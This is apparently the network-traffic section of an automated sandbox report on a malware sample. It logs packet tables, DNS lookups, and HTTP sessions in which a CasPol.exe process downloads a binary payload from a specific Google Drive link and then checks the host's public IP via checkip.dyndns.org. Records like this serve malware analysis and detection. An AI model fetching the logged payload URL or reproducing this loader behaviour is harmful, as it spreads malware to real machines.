Mar 18, 2023 05:38:08.108825922 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108859062 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.108886957 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.108959913 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.108959913 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109003067 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109143019 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109147072 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109173059 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109195948 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109273911 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109301090 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109323978 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109349012 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109508038 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109515905 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109541893 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109613895 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109679937 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109679937 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109709978 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109730005 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109829903 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109838963 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109894037 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.109920025 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.109983921 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110057116 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110074997 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110101938 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110224962 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110255003 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110285044 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110354900 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110354900 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110385895 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110404968 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110428095 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110450983 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110586882 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110586882 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110615015 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110713959 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110727072 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110763073 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110763073 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110790968 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110810041 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110876083 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110902071 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.110945940 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.110972881 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111088991 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111092091 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111243963 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111254930 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111277103 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111305952 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111387968 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111414909 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111434937 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111459970 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111619949 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111639977 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111665010 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111773968 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111774921 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111787081 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111820936 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111820936 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111855030 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.111943960 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.111975908 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112005949 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112025023 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112124920 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112138033 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112185001 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112206936 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112356901 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112394094 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112421989 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112513065 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112519979 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112575054 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112598896 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112713099 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112772942 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112834930 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.112844944 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112870932 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.112925053 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113014936 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113014936 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113018036 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113044024 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113176107 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113200903 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113358021 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113358021 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113363981 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113390923 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113501072 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113573074 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113574982 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113600969 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113653898 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113706112 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113734961 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113759041 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113884926 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.113923073 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.113946915 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114015102 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114032030 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114144087 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114202976 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114228010 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114291906 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114342928 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114391088 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114413023 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114480972 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114552975 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114577055 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114600897 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114623070 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114679098 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114732981 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114757061 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114844084 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114876986 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114896059 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.114931107 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.114991903 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115003109 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115078926 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115092993 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115117073 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115204096 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115228891 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115263939 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115287066 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115371943 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115394115 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115437031 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115549088 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115552902 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115577936 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115606070 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115681887 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115690947 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115691900 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115726948 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115854979 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115902901 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.115927935 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.115983963 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116031885 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116053104 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116071939 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116101027 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116122961 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116239071 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116262913 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116290092 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116389990 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116437912 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116472006 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116494894 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116596937 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116604090 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116657019 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116672039 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116739035 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116756916 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116827965 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.116844893 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116925955 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.116964102 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117017984 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117033005 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117086887 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117090940 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117144108 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117171049 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117245913 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117296934 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117314100 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117368937 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117387056 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117425919 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117459059 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117477894 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117614985 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117639065 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117659092 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117692947 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117764950 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117783070 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117805958 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117820024 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117820024 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.117841005 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117856026 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.117949963 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.118016958 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.118036032 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.118124962 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.118143082 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.118207932 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.118261099 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.118377924 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.118441105 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.118441105 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.118469954 CET	443	49844	172.217.16.129	192.168.11.20
Mar 18, 2023 05:38:08.118611097 CET	49844	443	192.168.11.20	172.217.16.129
Mar 18, 2023 05:38:08.798361063 CET	49845	80	192.168.11.20	158.101.44.242
Mar 18, 2023 05:38:08.943253040 CET	80	49845	158.101.44.242	192.168.11.20
Mar 18, 2023 05:38:08.943398952 CET	49845	80	192.168.11.20	158.101.44.242
Mar 18, 2023 05:38:08.943593979 CET	49845	80	192.168.11.20	158.101.44.242
Mar 18, 2023 05:38:09.088579893 CET	80	49845	158.101.44.242	192.168.11.20
Mar 18, 2023 05:38:09.089355946 CET	80	49845	158.101.44.242	192.168.11.20
Mar 18, 2023 05:38:09.136991024 CET	49845	80	192.168.11.20	158.101.44.242
Mar 18, 2023 05:38:46.182970047 CET	49845	80	192.168.11.20	158.101.44.242

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2023 05:38:07.178211927 CET	60445	53	192.168.11.20	1.1.1.1
Mar 18, 2023 05:38:07.187526941 CET	53	60445	1.1.1.1	192.168.11.20
Mar 18, 2023 05:38:07.758445024 CET	63232	53	192.168.11.20	1.1.1.1
Mar 18, 2023 05:38:07.789558887 CET	53	63232	1.1.1.1	192.168.11.20
Mar 18, 2023 05:38:08.780349016 CET	65013	53	192.168.11.20	1.1.1.1
Mar 18, 2023 05:38:08.789386034 CET	53	65013	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 18, 2023 05:38:07.178211927 CET	192.168.11.20	1.1.1.1	0xe0f5	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:07.758445024 CET	192.168.11.20	1.1.1.1	0xaebb	Standard query (0)	doc-04-c4-docs.googleusercontent.com	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:08.780349016 CET	192.168.11.20	1.1.1.1	0xce36	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 18, 2023 05:38:07.187526941 CET	1.1.1.1	192.168.11.20	0xe0f5	No error (0)	drive.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:07.789558887 CET	1.1.1.1	192.168.11.20	0xaebb	No error (0)	doc-04-c4-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 18, 2023 05:38:07.789558887 CET	1.1.1.1	192.168.11.20	0xaebb	No error (0)	googlehosted.l.googleusercontent.com		172.217.16.129	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:08.789386034 CET	1.1.1.1	192.168.11.20	0xce36	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 18, 2023 05:38:08.789386034 CET	1.1.1.1	192.168.11.20	0xce36	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:08.789386034 CET	1.1.1.1	192.168.11.20	0xce36	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:08.789386034 CET	1.1.1.1	192.168.11.20	0xce36	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:08.789386034 CET	1.1.1.1	192.168.11.20	0xce36	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Mar 18, 2023 05:38:08.789386034 CET	1.1.1.1	192.168.11.20	0xce36	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

doc-04-c4-docs.googleusercontent.com

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49843	142.250.184.206	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49844	172.217.16.129	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49845	158.101.44.242	80	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
Mar 18, 2023 05:38:08.943593979 CET	743	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 18, 2023 05:38:09.089355946 CET	743	IN	HTTP/1.1 200 OK Date: Sat, 18 Mar 2023 04:38:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 33 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.35</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49843	142.250.184.206	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-18 04:38:07 UTC	0	OUT	GET /uc?export=download&id=1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2023-03-18 04:38:07 UTC	0	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 18 Mar 2023 04:38:07 GMT Location: https://doc-04-c4-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/eu361v7891419i1as1r1dl2nqlomasvu/1679114250000/12853136832670220481//1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l?e=download&uuid=687b7ba6-caf7-4f82-8267-8cb96e77380a Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-e9QskR_XSqRZ-bcCaG-MeA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49844	172.217.16.129	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-18 04:38:07 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/eu361v7891419i1as1r1dl2nqlomasvu/1679114250000/12853136832670220481/*/1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l?e=download&uuid=687b7ba6-caf7-4f82-8267-8cb96e77380a HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-04-c4-docs.googleusercontent.com Connection: Keep-Alive
2023-03-18 04:38:08 UTC	1	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdvAf0OCSLb-gtohm_sxXZuFfTpomtgwdgA8cJmdrgXo2XQO7SqeWwP_FG0xBqxF5ubI5lcF62Ic28hkazCZhVIZp42zlH_k Content-Type: application/octet-stream Content-Disposition: attachment; filename="NPqgaYhKp241.bin"; filename=UTF-8''NPqgaYhKp241.bin Access-Control-Allow-Origin: Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-467253834-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, x-goog-ext-477772811-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Request-Time, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, 